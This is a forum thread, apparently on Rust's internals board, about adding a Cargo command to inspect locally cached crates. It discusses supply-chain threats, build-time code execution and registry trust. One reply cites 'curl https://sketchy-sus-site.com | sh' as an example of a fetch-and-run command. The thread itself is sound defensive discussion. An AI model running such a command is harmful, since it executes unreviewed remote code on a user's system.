Easily inspect dependencies

Cargo should provide a way for users to trivially find and/or open locally-cached crates. The current UX discourages cding or opening deps:

# using Rust fmt-str syntax
open ".cargo/registry/src/index.crates.io-{HEX_NONSENSE}/{NAME}-{VERSION}/src/foobar.rs"

Today, the only easy way is to use rust-analyzer with goto-def, but that's overkill in many cases, and sometimes prohibitively computationally expensive.

This isn't just an ergonomics issue, it's a security issue.

I've recently read about cargo vendor, but it's not a proper solution, IMO

The code review tools cargo-crev and cargo-vet both offer this as a subcommand. I agree it would be good for it to be built in, though.

1 Like

At least cargo-crev makes an attempt at renaming any config files that may cause your editor to run potentially malicious code when opening the package directory. This is pretty important if you want to inspect the crate because you want to look for malicious code. Does the cargo team want to accept responsibility for that? If not I think keeping it separate from cargo may be better.

1 Like

I would recommend focusing on what use cases you are concerned about. The most you do is say it is an ergonomic issue and a security issue. You never say how to either. A generic link to some site is provided requiring us to guess your intent.

Use cases are important because there can be multiple ways of meeting the need and they can uncover additional requirements.

There are invariants with the cache, like that it is never edited. People are more likely to make mistakes if they directly access them. iirc r-a had problems with this with go-to definition, unsure if that was solved. It would be great if we made the cache read-only but we've had problems with that in the past.

3 Likes

Unfortunately, crates can run arbitrary code at build time, and IDEs can easily trigger a cargo check or LSP that builds and runs procedural macros.

This creates a risk of running the potentially-malicious code before you finish reviewing it.

Currently the easiest safe official method is to view code at https://docs.rs - there's a link in the dropdown to a source code view that shows files from the tarball.

2 Likes

Some editors (VScode, and most recently Helix) already protect themselves against that type of attack. So I believe the burden of config-security should be placed on them, not Cargo.

I thought I already mentioned them? It doesn't have to be about security since the very beggining. Just an easy way to see docs and implementation details without having to re-download data. The (dep/lib/bin) docs don't (and shouldn't) specify all impl details, so being able to use cargo (instead of RA/r-a) to find those details would be nice.

I'll clarify my reasoning:

  1. Supply-chain attacks are in the OWASP Top 10
  2. Therefore, supply-chain attacks are important to OWASP
  3. This suggests that mitigating supply-chain attacks should also be important to Cargo

Understood :slightly_frowning_face:. Could this be improved in the next edition? or is it a portability limitation because of the many platforms where Cargo is officially supported?

What do you mean "without having to redownload"?

This is still very abstract. Why does opening the files locally in this way part of supply chain security?

I don't remember the details. The issue is Consider making the `src` cache read-only. · Issue #9455 · rust-lang/cargo · GitHub

One problem I can see is build scripts copying data or doing other stuff. Build scripts are tricky with editions because an edition is local to a package but a build script's interactions with cargo are at the progess level which encompasses all packages built into it. If a build script uses a helper library from a different edition, it should still work.

I mean what Kornel suggested:

To which I agree. But there are caveats:

  • Cache duplication: browser and cargo storing similar copies of the same thing
  • Not local-first. Ideally, browsers should allow caching pages for arbitrary periods of time, and they should reuse cached copies when connection fails, but major browsers don't do that; I often see "security" and "document expiration" cited as excuses, but not all pages need that.
  • user-agent sniffing: if crates.io and docs.rs get compromised, the source-code view of a crate in the web could look normal, but the one downloaded via cargo would have malicious code. This is the same reason why inspecting scripts in a browser before running curl https://sketchy-sus-site.com | sh is not enough validation, as curl has a different UA-string than the browser. This also answers the other question:

because the "web-view" of a file might not match the version downloaded through other means.

I see :sweat_smile:. Thanks for explaining

I've just realized that I might have changed the security/threat-model, so my argument might be fallacious in some way (or it's not yet fallacious). Previously, my threat model assumed the registry is safe but the publishers might not. But after I said

I changed the threat-model to "not even the registry can be trusted". Or maybe the model was always that, but only now I'm making it explicit?

I'm pointing this out so that we're all in the same page, and because there's no explicit consensus (yet) on what the threat-model ought to be.

This is both a clarification and a question :sweat_smile: